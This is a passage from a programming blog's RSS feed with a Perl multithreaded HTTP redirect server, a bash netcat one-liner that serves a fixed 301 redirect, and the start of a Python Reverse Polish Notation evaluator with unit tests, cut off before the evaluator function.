<span style="color: #000000; font-weight: bold;">use</span> constant MAX_THREADS <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> constant MAX_LEN_HEADERS_BUFFER <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">8</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">1024</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> constant DEFAULT_REDIRECT_URI <span style="color: #339933;">=&gt;</span> <span style="color: #ff0000;">&quot;http://www.example.org&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> constant DEFAULT_PORT <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">80</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> constant DEFAULT_POOL_SIZE <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">3</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$redir_uri</span> <span style="color: #339933;">=</span> DEFAULT_REDIRECT_URI<span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$server_port</span> <span style="color: #339933;">=</span> DEFAULT_PORT<span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$thread_pool_size</span> <span style="color: #339933;">=</span> DEFAULT_POOL_SIZE<span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$verbose</span><span style="color: #339933;">;</span>
&nbsp;
GetOptions<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'url=s'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">\$redir_uri</span><span style="color: #339933;">,</span> 
           <span style="color: #ff0000;">'port=i'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">\$server_port</span><span style="color: #339933;">,</span>
           <span style="color: #ff0000;">'threads=i'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">\$thread_pool_size</span><span style="color: #339933;">,</span>
           <span style="color: #ff0000;">'verbose'</span>  <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">\$verbose</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">or</span> <span style="color: #000066;">exit</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;Invalid redirect URI (e.g. http://www.example.org)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #b1b100;">unless</span> is_http_uri<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$redir_uri</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;Invalid port (e.g. 8080)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #b1b100;">unless</span> <span style="color: #cc66cc;">0</span> <span style="color: #339933;">&lt;</span> <span style="color: #0000ff;">$server_port</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #0000ff;">$server_port</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">**</span><span style="color: #cc66cc;">16</span><span style="color: #339933;">;</span>
<span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;Invalid pool size (should be in [1..&quot;</span><span style="color: #339933;">.</span>MAX_THREADS<span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;])<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> 
            <span style="color: #b1b100;">unless</span> <span style="color: #cc66cc;">0</span> <span style="color: #339933;">&lt;</span> <span style="color: #0000ff;">$thread_pool_size</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #0000ff;">$thread_pool_size</span> <span style="color: #339933;">&lt;=</span> MAX_THREADS<span style="color: #339933;">;</span>
&nbsp;
Log<span style="color: #339933;">::</span><span style="color: #006600;">Log4perl</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">easy_init</span><span style="color: #009900;">&#40;</span> level <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">$verbose</span><span style="color: #339933;">?</span> <span style="color: #0000ff;">$DEBUG</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">$INFO</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$pending</span> <span style="color: #339933;">=</span> Thread<span style="color: #339933;">::</span><span style="color: #006600;">Queue</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">new</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lsock</span> <span style="color: #339933;">=</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">new</span><span style="color: #009900;">&#40;</span> LocalPort <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">$server_port</span><span style="color: #339933;">,</span>
                                   Proto <span style="color: #339933;">=&gt;</span> <span style="color: #ff0000;">'tcp'</span><span style="color: #339933;">,</span>
                                   Listen <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span>
                                   Reuse <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1</span> <span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">or</span> <span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;Couldn't bind listening socket ($!)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span> 
&nbsp;
INFO<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Listening on port $server_port<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
INFO<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Redirecting HTTP requests to: '$redir_uri'<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">@workers</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">..</span><span style="color: #0000ff;">$thread_pool_size</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$thread</span> <span style="color: #339933;">=</span> threads<span style="color: #339933;">-&gt;</span><span style="color: #006600;">create</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;worker&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">push</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">@workers</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$thread</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
DEBUG<span style="color: #009900;">&#40;</span><span style="color: #000066;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%d thread(s) working under the hood<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$#workers</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Set a tidy shutdown just in case an external agent SIG{INT,TERM}s the process</span>
<span style="color: #0000ff;">$SIG</span><span style="color: #009900;">&#123;</span><span style="color: #ff0000;">'INT'</span><span style="color: #009900;">&#125;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$SIG</span><span style="color: #009900;">&#123;</span><span style="color: #ff0000;">'TERM'</span><span style="color: #009900;">&#125;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">sub</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;"># Dirty hack. threads-&gt;kill() does not wake up the thread :(</span>
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">..</span><span style="color: #0000ff;">@workers</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">$pending</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">enqueue</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">@workers</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        DEBUG<span style="color: #009900;">&#40;</span><span style="color: #000066;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Worker %d terminated: %d clients served<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">tid</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">join</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$lsock</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
    <span style="color: #000066;">exit</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$csock</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$lsock</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">accept</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">or</span> <span style="color: #b1b100;">next</span><span style="color: #339933;">;</span>
    <span style="color: #0000ff;">$pending</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">enqueue</span><span style="color: #009900;">&#40;</span>POSIX<span style="color: #339933;">::</span><span style="color: #006600;">dup</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">fileno</span> <span style="color: #0000ff;">$csock</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    DEBUG<span style="color: #009900;">&#40;</span><span style="color: #000066;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;New client enqueued: %s:%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$csock</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">peerhost</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$csock</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">peerport</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$csock</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">sub</span> worker <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$clients_served</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$fd</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$pending</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">dequeue</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;"># API promises thread safety :-)</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$fd</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066;">return</span> <span style="color: #0000ff;">$clients_served</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sock</span> <span style="color: #339933;">=</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">new_from_fd</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$fd</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        DEBUG<span style="color: #009900;">&#40;</span><span style="color: #000066;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Dequeued client %s:%d by worker %d.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$sock</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">peerhost</span><span style="color: #339933;">,</span>
                            <span style="color: #0000ff;">$sock</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">peerport</span><span style="color: #339933;">,</span> threads<span style="color: #339933;">-&gt;</span><span style="color: #006600;">tid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$buf</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span><span style="color: #0000ff;">$sock</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #666666; font-style: italic;"># CAUTION: there isn't any self protection against very long lines</span>
            <span style="color: #b1b100;">last</span> <span style="color: #b1b100;">if</span> <span style="color: #009966; font-style: italic;">/^\r\n$/</span><span style="color: #339933;">;</span>
            <span style="color: #0000ff;">$buf</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">;</span>
            <span style="color: #000066;">goto</span> BYE <span style="color: #b1b100;">if</span> <span style="color: #000066;">length</span> <span style="color: #0000ff;">$buf</span> <span style="color: #339933;">&gt;</span> MAX_LEN_HEADERS_BUFFER<span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$request</span> <span style="color: #339933;">=</span> HTTP<span style="color: #339933;">::</span><span style="color: #006600;">Request</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">parse</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$buf</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            INFO<span style="color: #009900;">&#40;</span><span style="color: #000066;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[%s] %s {%s}<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$request</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">method</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$request</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">uri</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$sock</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">peerhost</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        <span style="color: #000066;">printf</span> <span style="color: #0000ff;">$sock</span> <span style="color: #ff0000;">&quot;HTTP/1.1 %d %s<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> 
            HTTP_MOVED_PERMANENTLY<span style="color: #339933;">,</span> status_message<span style="color: #009900;">&#40;</span>HTTP_MOVED_PERMANENTLY<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">printf</span> <span style="color: #0000ff;">$sock</span> <span style="color: #ff0000;">&quot;Date: %s<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> DateTime<span style="color: #339933;">::</span><span style="color: #006600;">Format</span><span style="color: #339933;">::</span><span style="color: #006600;">HTTP</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">format_datetime</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$sock</span> <span style="color: #ff0000;">&quot;Location: $redir_uri<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$sock</span> <span style="color: #ff0000;">&quot;Server: Simple HTTP Redirection/0.1 ($^O)<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$sock</span> <span style="color: #ff0000;">&quot;Connection: close<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$sock</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
BYE<span style="color: #339933;">:</span>  
        <span style="color: #0000ff;">$clients_served</span><span style="color: #339933;">++;</span>
        <span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>(*) just an approach, may drop connections:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">while</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; 
 <span style="color: #000000; font-weight: bold;">do</span> <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;HTTP/1.1 301 Moved Permanently<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>Location: http://31337.pl<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> nc <span style="color: #660033;">-l</span> <span style="color: #000000;">7070</span>; 
<span style="color: #000000; font-weight: bold;">done</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2011/02/24/some-perl-bits-to-redirect-http-requests/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reverse Polish Notation Evaluation in Python</title>
		<link>http://criptonita.com/~nacho/blog/2011/02/23/reverse-polish-notation-evaluation-in-python/</link>
		<comments>http://criptonita.com/~nacho/blog/2011/02/23/reverse-polish-notation-evaluation-in-python/#comments</comments>
		<pubDate>Wed, 23 Feb 2011 00:03:21 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Math]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/?p=305</guid>
		<description><![CDATA[This introduction is followed by some Python code (function evaluate_postfix_expr) to evaluate expressions (only integers, but may be extended with ease) in Reverse Polish Notation (RPN). Some simple tests are also included in the bundle. I agree it&#8217;s a little useless, but I thought it might be useful for someone (CS students maybe?). If you [...]]]></description>
			<content:encoded><![CDATA[<p>This introduction is followed by some Python code (function evaluate_postfix_expr) to evaluate expressions (only integers, but may be extended with ease) in Reverse Polish Notation (RPN). Some simple tests are also included in the bundle.</p>
<p>I agree it&#8217;s a little useless, but I thought it might be useful for someone (CS students maybe?). If you want to examine the stack in each iteration you only have to turn debugging on. That can be accomplished by changing <em>logging.INFO</em> to <em>logging.DEBUG</em> (line 7).</p>
<p>Copy, distribute or do whatever you want with it. It&#8217;s released in the public domain.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
</pre></td><td class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">logging</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">unittest</span>
&nbsp;
<span style="color: #dc143c;">logging</span>.<span style="color: black;">basicConfig</span><span style="color: black;">&#40;</span>level=<span style="color: #dc143c;">logging</span>.<span style="color: black;">INFO</span><span style="color: black;">&#41;</span>
&nbsp;
operators_table = <span style="color: black;">&#123;</span><span style="color: #483d8b;">'+'</span>: <span style="color: #008000;">int</span>.<span style="color: #0000cd;">__add__</span>, 
             <span style="color: #483d8b;">'-'</span>: <span style="color: #008000;">int</span>.<span style="color: #0000cd;">__sub__</span>,
             <span style="color: #483d8b;">'*'</span>: <span style="color: #008000;">int</span>.<span style="color: #0000cd;">__mul__</span>,
             <span style="color: #483d8b;">'/'</span>: <span style="color: #008000;">int</span>.<span style="color: #0000cd;">__div__</span>,
             <span style="color: #483d8b;">'^'</span>: <span style="color: #008000;">int</span>.<span style="color: #0000cd;">__pow__</span><span style="color: black;">&#125;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> ExpressionError<span style="color: black;">&#40;</span><span style="color: #008000;">Exception</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, message<span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>._message = <span style="color: #483d8b;">&quot;Expression error: %s&quot;</span> <span style="color: #66cc66;">%</span> message
    <span style="color: #ff7700;font-weight:bold;">def</span> _get_message<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>: 
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>._message
    message = <span style="color: #008000;">property</span><span style="color: black;">&#40;</span>_get_message<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> TestEvaluation<span style="color: black;">&#40;</span><span style="color: #dc143c;">unittest</span>.<span style="color: black;">TestCase</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">def</span> test_correct<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>.<span style="color: black;">assertEqual</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">666</span>, evaluate_postfix_expr<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;666&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertEqual</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span>+<span style="color: #ff4500;">3</span>-<span style="color: #ff4500;">6</span>, evaluate_postfix_expr<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;2 3 + 6 -&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertEqual</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">3</span>+<span style="color: #ff4500;">4</span>, evaluate_postfix_expr<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;2 3 * 4 +&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertEqual</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: #66cc66;">*</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">3</span>+<span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span>, evaluate_postfix_expr<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;2 3 4 + *&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertEqual</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">3</span><span style="color: #66cc66;">**</span><span style="color: #ff4500;">4</span>, evaluate_postfix_expr<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;3   3  *     3  *      3 *&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertEqual</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">7</span>/<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">**</span><span style="color: #ff4500;">4</span>, evaluate_postfix_expr<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;7 2 / 4 ^&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertEqual</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: #66cc66;">**</span><span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">**</span><span style="color: #ff4500;">4</span>, evaluate_postfix_expr<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;2 3 ^ 4 ^&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertEqual</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">5</span>+<span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span>+<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span>-<span style="color: #ff4500;">3</span>, evaluate_postfix_expr<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;5 1 2 + 4 * 3 - +&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> test_malformed<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>.<span style="color: black;">assertRaises</span><span style="color: black;">&#40;</span>ExpressionError, evaluate_postfix_expr, <span style="color: #483d8b;">&quot;+&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertRaises</span><span style="color: black;">&#40;</span>ExpressionError, evaluate_postfix_expr, <span style="color: #483d8b;">&quot;2 +&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertRaises</span><span style="color: black;">&#40;</span>ExpressionError, evaluate_postfix_expr, <span style="color: #483d8b;">&quot;+ 2 2&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertRaises</span><span style="color: black;">&#40;</span>ExpressionError, evaluate_postfix_expr, <span style="color: #483d8b;">&quot;2 2&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertRaises</span><span style="color: black;">&#40;</span>ExpressionError, evaluate_postfix_expr, <span style="color: #483d8b;">&quot;2 2 + -&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">assertRaises</span><span style="color: black;">&#40;</span>ExpressionError, evaluate_postfix_expr, <span style="color: #483d8b;">&quot;a 2 -&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
